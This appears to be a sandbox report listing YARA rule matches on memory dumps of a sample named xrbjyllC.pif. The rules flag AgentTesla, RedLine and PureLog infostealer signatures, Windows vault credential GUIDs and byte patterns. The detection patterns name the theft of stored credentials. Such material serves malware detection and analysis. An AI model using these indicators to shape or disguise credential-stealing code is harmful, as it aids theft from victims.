9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.25040000.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.xrbjyllC.pif.25040000.9.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
17.2.xrbjyllC.pif.25040000.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.xrbjyllC.pif.25040000.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.xrbjyllC.pif.25040000.9.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
11.2.xrbjyllC.pif.26ec0ee8.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.xrbjyllC.pif.26ec0ee8.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.xrbjyllC.pif.26ec0ee8.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.xrbjyllC.pif.26ec0ee8.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f224:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f296:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f320:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f3b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f41c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f48e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f524:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f5b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.xrbjyllC.pif.26ec0ee8.6.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x38ffa:$s2: GetPrivateProfileString 0x3c4d2:$s3: get_OSFullName 0x39728:$s5: remove_Key 0x39748:$s5: remove_Key 0x3c92f:$s6: FtpWebRequest 0x3f206:$s7: logins 0x3f778:$s7: logins 0x424cf:$s7: logins 0x4253b:$s7: logins 0x45714:$s7: logins 0x430d5:$s9: 1.85 (Hash, version 2, native byte-order)
11.2.xrbjyllC.pif.26affca6.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.xrbjyllC.pif.26affca6.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.xrbjyllC.pif.26affca6.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.xrbjyllC.pif.26affca6.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41f0c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41f7e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x42008:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4209a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x42104:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x42176:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4220c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4229c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.xrbjyllC.pif.26affca6.4.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3bce2:$s2: GetPrivateProfileString 0x3f1ba:$s3: get_OSFullName 0x3c410:$s5: remove_Key 0x3c430:$s5: remove_Key 0x3f617:$s6: FtpWebRequest 0x41eee:$s7: logins 0x42460:$s7: logins 0x451b7:$s7: logins 0x45223:$s7: logins 0x483fc:$s7: logins 0x45dbd:$s9: 1.85 (Hash, version 2, native byte-order)
11.2.xrbjyllC.pif.27fa5190.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.xrbjyllC.pif.27fa5190.8.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.xrbjyllC.pif.27fa5190.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.xrbjyllC.pif.27fa5190.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.xrbjyllC.pif.27fa5190.8.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.400000.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.22680ee8.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.xrbjyllC.pif.22680ee8.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
17.2.xrbjyllC.pif.22680ee8.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.xrbjyllC.pif.22680ee8.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.xrbjyllC.pif.22680ee8.7.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.22130b8e.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.1.xrbjyllC.pif.400000.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
11.2.xrbjyllC.pif.400000.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
17.1.xrbjyllC.pif.400000.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
17.2.xrbjyllC.pif.22130b8e.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.xrbjyllC.pif.22130b8e.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
17.2.xrbjyllC.pif.22130b8e.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.xrbjyllC.pif.22130b8e.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.xrbjyllC.pif.22130b8e.5.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xrbjyllC.pif.2c240000.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xrbjyllC.pif.2c240000.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xrbjyllC.pif.2c240000.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xrbjyllC.pif.2c240000.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41f0c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41f7e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x42008:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4209a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x42104:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x42176:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4220c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4229c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xrbjyllC.pif.2c240000.7.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3bce2:$s2: GetPrivateProfileString 0x3f1ba:$s3: get_OSFullName 0x3c410:$s5: remove_Key 0x3c430:$s5: remove_Key 0x3f617:$s6: FtpWebRequest 0x41eee:$s7: logins 0x42460:$s7: logins 0x451b7:$s7: logins 0x45223:$s7: logins 0x483fc:$s7: logins 0x45dbd:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.22130b8e.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xrbjyllC.pif.2c980000.9.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.xrbjyllC.pif.22130b8e.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.xrbjyllC.pif.22130b8e.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f224:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f296:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f320:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f3b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f41c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f48e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f524:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f5b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.xrbjyllC.pif.22130b8e.5.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x38ffa:$s2: GetPrivateProfileString 0x3c4d2:$s3: get_OSFullName 0x39728:$s5: remove_Key 0x39748:$s5: remove_Key 0x3c92f:$s6: FtpWebRequest 0x3f206:$s7: logins 0x3f778:$s7: logins 0x424cf:$s7: logins 0x4253b:$s7: logins 0x45714:$s7: logins 0x430d5:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xrbjyllC.pif.2c980000.9.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xrbjyllC.pif.2c980000.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xrbjyllC.pif.2c980000.9.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f224:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f296:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f320:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f3b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f41c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f48e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f524:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f5b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xrbjyllC.pif.2c980000.9.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x38ffa:$s2: GetPrivateProfileString 0x3c4d2:$s3: get_OSFullName 0x39728:$s5: remove_Key 0x39748:$s5: remove_Key 0x3c92f:$s6: FtpWebRequest 0x3f206:$s7: logins 0x3f778:$s7: logins 0x424cf:$s7: logins 0x4253b:$s7: logins 0x45714:$s7: logins 0x430d5:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.22680000.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.xrbjyllC.pif.22680000.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
17.2.xrbjyllC.pif.22680000.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.xrbjyllC.pif.22680ee8.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.xrbjyllC.pif.22680ee8.7.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
17.2.xrbjyllC.pif.22680ee8.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.xrbjyllC.pif.22680ee8.7.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f224:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f296:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f320:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f3b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f41c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f48e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f524:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f5b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.xrbjyllC.pif.22680ee8.7.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x38ffa:$s2: GetPrivateProfileString 0x3c4d2:$s3: get_OSFullName 0x39728:$s5: remove_Key 0x39748:$s5: remove_Key 0x3c92f:$s6: FtpWebRequest 0x3f206:$s7: logins 0x3f778:$s7: logins 0x424cf:$s7: logins 0x4253b:$s7: logins 0x45714:$s7: logins 0x430d5:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.22680000.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4010c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4017e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x40208:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4029a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x40304:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x40376:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4040c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4049c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.xrbjyllC.pif.22680000.6.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x39ee2:$s2: GetPrivateProfileString 0x3d3ba:$s3: get_OSFullName 0x3a610:$s5: remove_Key 0x3a630:$s5: remove_Key 0x3d817:$s6: FtpWebRequest 0x400ee:$s7: logins 0x40660:$s7: logins 0x433b7:$s7: logins 0x43423:$s7: logins 0x465fc:$s7: logins 0x43fbd:$s9: 1.85 (Hash, version 2, native byte-order)
11.3.xrbjyllC.pif.24f7d9c8.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.3.xrbjyllC.pif.24f7d9c8.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.3.xrbjyllC.pif.24f7d9c8.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.3.xrbjyllC.pif.24f7d9c8.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f224:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f296:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f320:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f3b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f41c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f48e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f524:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f5b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.3.xrbjyllC.pif.24f7d9c8.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x38ffa:$s2: GetPrivateProfileString 0x3c4d2:$s3: get_OSFullName 0x39728:$s5: remove_Key 0x39748:$s5: remove_Key 0x3c92f:$s6: FtpWebRequest 0x3f206:$s7: logins 0x3f778:$s7: logins 0x424cf:$s7: logins 0x4253b:$s7: logins 0x45714:$s7: logins 0x430d5:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.23765190.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.xrbjyllC.pif.23765190.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
17.2.xrbjyllC.pif.23765190.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.xrbjyllC.pif.23765190.8.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f224:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f296:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f320:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f3b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f41c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f48e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f524:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f5b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.xrbjyllC.pif.23765190.8.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x38ffa:$s2: GetPrivateProfileString 0x3c4d2:$s3: get_OSFullName 0x39728:$s5: remove_Key 0x39748:$s5: remove_Key 0x3c92f:$s6: FtpWebRequest 0x3f206:$s7: logins 0x3f778:$s7: logins 0x424cf:$s7: logins 0x4253b:$s7: logins 0x45714:$s7: logins 0x430d5:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xrbjyllC.pif.299f0b8e.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xrbjyllC.pif.299f0b8e.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xrbjyllC.pif.299f0b8e.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
